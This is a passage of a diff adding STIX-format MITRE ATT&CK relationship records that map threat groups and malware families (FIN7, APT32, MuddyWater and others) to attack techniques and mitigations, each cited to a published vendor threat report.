"https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/" + } + ], + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T12:35:58.772Z", + "type": "relationship", + "id": "relationship--d35b9e63-a236-47f4-9fa8-d04719858115", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.020Z", + "source_ref": "course-of-action--3e9f8875-d2f7-4380-a578-84393bd3b025", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TA459](https://attack.mitre.org/groups/G0062) has a VBScript for execution.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--927d8495-e288-4c7f-8033-0d7e85d66b10", + "external_references": [ + { + "source_name": "Proofpoint TA459 April 2017", + "description": "Axel F. (2017, April 27). APT Targets Financial Analysts with CVE-2017-0199. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/apt-targets-financial-analysts" + } + ], + "modified": "2019-03-25T17:00:47.388Z", + "source_ref": "intrusion-set--62a64fd3-aaf7-4d09-a375-d6f8bb118481", + "relationship_type": "uses", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:23:29.518Z", + "type": "relationship", + "id": "relationship--9d0c7e94-b7d6-4ede-8223-a19e615e0a0b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.030Z", + "source_ref": "course-of-action--1881da33-fdf2-4eea-afd0-e04caf9c000f", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:15:19.545Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--77426812-954b-49dd-9db8-c3aa99113678", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "malware--f4d8a2d6-c684-453a-8a14-cf4a94f755c5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T14:25:53.485Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.050Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eeae630c-0c58-4397-90fb-05f5b60b720f", + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. 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Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Group IB Cobalt Aug 2017", + "description": "Matveeva, V. (2017, August 15). Secrets of Cobalt. Retrieved October 10, 2018.", + "url": "https://www.group-ib.com/blog/cobalt" + } + ], + "modified": "2019-07-26T23:38:33.916Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--4061e78c-1284-44b4-9116-73e4ac3912f7" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) has downloaded additional malware to execute on the victim's machine, including by using a PowerShell script to launch shellcode that retrieves an additional payload.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b077d81d-0449-493f-9b93-23dc0fb0b62d", + "external_references": [ + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "DOJ FIN7 Aug 2018", + "description": "Department of Justice. (2018, August 01). HOW FIN7 ATTACKED AND STOLE DATA. Retrieved August 24, 2018.", + "url": "https://www.justice.gov/opa/press-release/file/1084361/download" + } + ], + "modified": "2019-06-30T23:13:18.465Z", + "source_ref": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FELIXROOT](https://attack.mitre.org/software/S0267) collects the username from the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d9d7d861-66c9-469e-8baa-d72c7844a40f", + "external_references": [ + { + "source_name": "FireEye FELIXROOT July 2018", + "description": "Patil, S. (2018, June 26). Microsoft Office Vulnerabilities Used to Distribute FELIXROOT Backdoor in Recent Campaign. Retrieved July 31, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/07/microsoft-office-vulnerabilities-used-to-distribute-felixroot-backdoor.html" + }, + { + "source_name": "ESET GreyEnergy Oct 2018", + "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf" + } + ], + "modified": "2019-01-30T13:42:09.783Z", + "source_ref": "malware--cf8df906-179c-4a78-bd6e-6605e30f6624", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:44:15.797Z", + "type": "relationship", + "id": "relationship--2482623f-65a7-4da5-8cb2-64279319e3dc", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.019Z", + "source_ref": "course-of-action--a13e35cc-8c90-4d77-a965-5461042c1612", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Crimson](https://attack.mitre.org/software/S0115) contains a command to collect the victim MAC address and LAN IP.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92711ee1-041b-4e35-a322-3e16790fcce2", + "external_references": [ + { + "source_name": "Proofpoint Operation Transparent Tribe March 2016", + "description": "Huss, D.. (2016, March 1). Operation Transparent Tribe. Retrieved June 8, 2016.", + "url": "https://www.proofpoint.com/sites/default/files/proofpoint-operation-transparent-tribe-threat-insight-en.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--326af1cd-78e7-45b7-a326-125d2f7ef8f2", + "relationship_type": "uses", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:28:36.032Z", + "type": "relationship", + "id": "relationship--bb523d35-52f1-4c61-a8de-b4605ce9e596", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.018Z", + "source_ref": "course-of-action--515f6584-fa98-44fe-a4e8-e428c7188514", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Tools used by [Gamaredon Group](https://attack.mitre.org/groups/G0047) are capable of downloading and executing additional payloads.", + "type": "relationship", + "created": "2017-05-31T21:33:27.080Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--253b56a5-232f-44bc-af4d-85ccc12a0577", + "external_references": [ + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2019-03-25T12:57:18.647Z", + "source_ref": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "relationship_type": "uses", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT3](https://attack.mitre.org/groups/G0022) obfuscates files or information to help evade defensive measures.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--56c927c5-f64e-4b31-9a14-7ce78fd1c8a1", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ], + "modified": "2019-04-29T18:01:20.570Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) creates a Windows service to establish persistence.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--2ac8ddca-49e7-4aa1-92ad-6746cd9cf8c7", + "external_references": [ + { + "source_name": "ESET OceanLotus", + "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.", + "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "modified": "2019-07-17T13:11:38.181Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--478aa214-2ca7-4ec0-9978-18798e514790" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T14:02:53.325Z", + "type": "relationship", + "id": "relationship--a48d44d2-a84c-45dc-9a59-2bc21f2f2301", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--4f170666-7edb-4489-85c2-9affa28a72e0", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--01df3350-ce05-4bdf-bdf8-0a919a66d4a8" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "To move laterally on a victim network, [FIN6](https://attack.mitre.org/groups/G0037) has used credentials stolen from various systems on which it gathered usernames and password hashes.", + "type": "relationship", + "created": "2017-05-31T21:33:27.072Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--da395019-238a-4c4e-b4cd-43947e8aa019", + "external_references": [ + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "modified": "2019-06-28T14:59:17.773Z", + "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) conducts credential dumping on victims, with a focus on obtaining credentials belonging to domain and database servers.", + "type": "relationship", + "created": "2017-05-31T21:33:27.070Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--35aac341-5371-42e8-ad93-3ab94a11b51a", + "external_references": [ + { + "source_name": "Kaspersky Poseidon Group", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", + "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", + "relationship_type": "uses", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-27T00:09:37.223Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.041Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--92c68b65-18b8-44e9-a368-692048ba9611", + "external_references": [ + { + "source_name": "ESET Sednit Part 3", + "description": "ESET. (2016, October). En Route with Sednit - Part 3: A Mysterious Downloader. Retrieved November 21, 2016.", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf" + }, + { + "source_name": "Symantec APT28 Oct 2018", + "description": "Symantec Security Response. (2018, October 04). APT28: New Espionage Operations Target Military and Government Organizations. Retrieved November 14, 2018.", + "url": "https://www.symantec.com/blogs/election-security/apt28-espionage-military-government" + } + ], + "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", + "relationship_type": "uses", + "target_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-25T11:27:03.340Z", + "type": "relationship", + "id": "relationship--5718d7a3-c402-4816-92fb-4322094b84f8", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-12-14T16:46:06.044Z", + "source_ref": "course-of-action--f27ef4f2-71fe-48b6-b7f4-02dcac14320e", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--56ff457d-5e39-492b-974c-dfd2b8603ffe" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T20:15:19.546Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f718c8ae-859f-4987-bf8c-9fac91a610bf", + "external_references": [ + { + "source_name": "Symantec Elderwood Sept 2012", + "description": "O'Gorman, G., and McDonald, G.. (2012, September 6). The Elderwood Project. Retrieved February 15, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-elderwood-project.pdf" + } + ], + "source_ref": "intrusion-set--03506554-5f37-4f8f-9ce4-0e9f01a1b484", + "relationship_type": "uses", + "target_ref": "malware--e811ff6a-4cef-4856-a6ae-a7daf9ed39ae" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "The file name AcroRD32.exe, a legitimate process name for Adobe's Acrobat Reader, was used by [APT1](https://attack.mitre.org/groups/G0006) as a name for malware.", + "type": "relationship", + "created": "2017-05-31T21:33:27.035Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c7823efd-005f-49ad-94cf-ebc44a87abed", + "external_references": [ + { + "source_name": "Mandiant APT1", + "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + }, + { + "source_name": "Mandiant APT1 Appendix", + "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip" + } + ], + "modified": "2019-03-22T12:40:51.789Z", + "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", + "relationship_type": "uses", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has extensively used strategic web compromises to target victims.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--83075ee3-b372-48a4-a54c-ca54afdd8c0b", + "external_references": [ + { + "source_name": "Dell TG-3390", + "description": "Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, August 5). Threat Group-3390 Targets Organizations for Cyberespionage. Retrieved August 18, 2018.", + "url": "https://www.secureworks.com/research/threat-group-3390-targets-organizations-for-cyberespionage" + }, + { + "source_name": "Securelist LuckyMouse June 2018", + "description": "Legezo, D. (2018, June 13). LuckyMouse hits national data center to organize country-level waterholing campaign. Retrieved August 18, 2018.", + "url": "https://securelist.com/luckymouse-hits-national-data-center/86083/" + } + ], + "modified": "2019-07-14T21:15:55.225Z", + "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", + "relationship_type": "uses", + "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used CMSTP.exe and a malicious INF to execute its [POWERSTATS](https://attack.mitre.org/software/S0223) payload.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3dad318f-b446-49c6-a62b-f0596b63a9c5", + "external_references": [ + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ], + "modified": "2019-06-28T15:30:58.709Z", + "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "relationship_type": "uses", + "target_ref": "attack-pattern--7d6f590f-544b-45b4-9a42-e0805f342af3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT32](https://attack.mitre.org/groups/G0050) has used scheduled tasks to persist on victim systems.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--98908617-068d-4b6e-bcba-ad213c137b1e", + "external_references": [ + { + "source_name": "FireEye APT32 May 2017", + "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + }, + { + "source_name": "Cybereason Oceanlotus May 2017", + "description": "Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018.", + "url": "https://www.cybereason.com/blog/operation-cobalt-kitty-apt" + }, + { + "source_name": "Cybereason Cobalt Kitty 2017", + "description": "Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.", + "url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf" + }, + { + "source_name": "ESET OceanLotus Mar 2019", + "description": "Dumont, R. (2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", + "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/" + } + ], + "modified": "2019-07-17T13:11:38.029Z", + "source_ref": "intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has used a tool called RarStar that encodes data with a custom XOR algorithm when posting it to a C2 server.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--ec4d07a2-8c8b-4df8-bb9e-b8c3e23d8dc5", + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "modified": "2019-03-22T19:57:37.324Z", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "relationship_type": "uses", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-07-24T19:05:56.602Z", + "type": "relationship", + "id": "relationship--cff2088f-c003-4d03-aa8a-cca36753b930", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created": "2017-05-31T21:33:27.020Z", + "source_ref": "course-of-action--ba06d68a-4891-4eb5-b634-152e05ec60ee", + "relationship_type": "mitigates", + "target_ref": "attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Stealth Falcon](https://attack.mitre.org/groups/G0038) malware gathers system information via Windows Management Instrumentation (WMI).", + "type": "relationship", + "created": "2017-05-31T21:33:27.073Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--94b4648a-4108-468c-be51-cca365fd97ac", + "external_references": [ + { + "source_name": "Citizen Lab Stealth Falcon May 2016", + "description": "Marczak, B. and Scott-Railton, J.. (2016, May 29). Keep Calm and (Don\u2019t) Enable Macros: A New Threat Actor Targets UAE Dissidents. Retrieved June 8, 2016.", + "url": "https://citizenlab.org/2016/05/stealth-falcon/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "intrusion-set--894aab42-3371-47b1-8859-a4a074c804c8", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used scheduled tasks to maintain RDP backdoors.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--55ea8954-9b81-45e4-89c9-a6b55f5b2541", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.757Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BLACKCOFFEE](https://attack.mitre.org/software/S0069) uses Microsoft\u2019s TechNet Web portal to obtain a dead drop resolver containing an encoded tag with the IP address of a command and control server. It has also obfuscated its C2 traffic as normal traffic to sites such as Github.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--8b0e9de1-a7b0-479e-aee7-76f2549508c6", + "external_references": [ + { + "source_name": "FireEye APT17", + "description": "FireEye Labs/FireEye Threat Intelligence. (2015, May 14). Hiding in Plain Sight: FireEye and Microsoft Expose Obfuscation Tactic. Retrieved January 22, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/APT17_Report.pdf" + }, + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--d69c8146-ab35-4d50-8382-6fc80e641d43", + "relationship_type": "uses", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[QUADAGENT](https://attack.mitre.org/software/S0269) uses multiple protocols (HTTPS, HTTP, DNS) for its C2 server as fallback channels if communication with one is unsuccessful.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--dc4bc74b-cd60-4853-a436-8d5e34b01564", + "external_references": [ + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7e6c2a9d-9dc1-4eb0-b27c-91e8076a9d77", + "relationship_type": "uses", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Wingbird](https://attack.mitre.org/software/S0176) performs multiple process injections to hijack system processes and execute malicious code.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e7baabf7-9300-432d-aa78-000ac099d4d3", + "external_references": [ + { + "source_name": "Microsoft SIR Vol 21", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 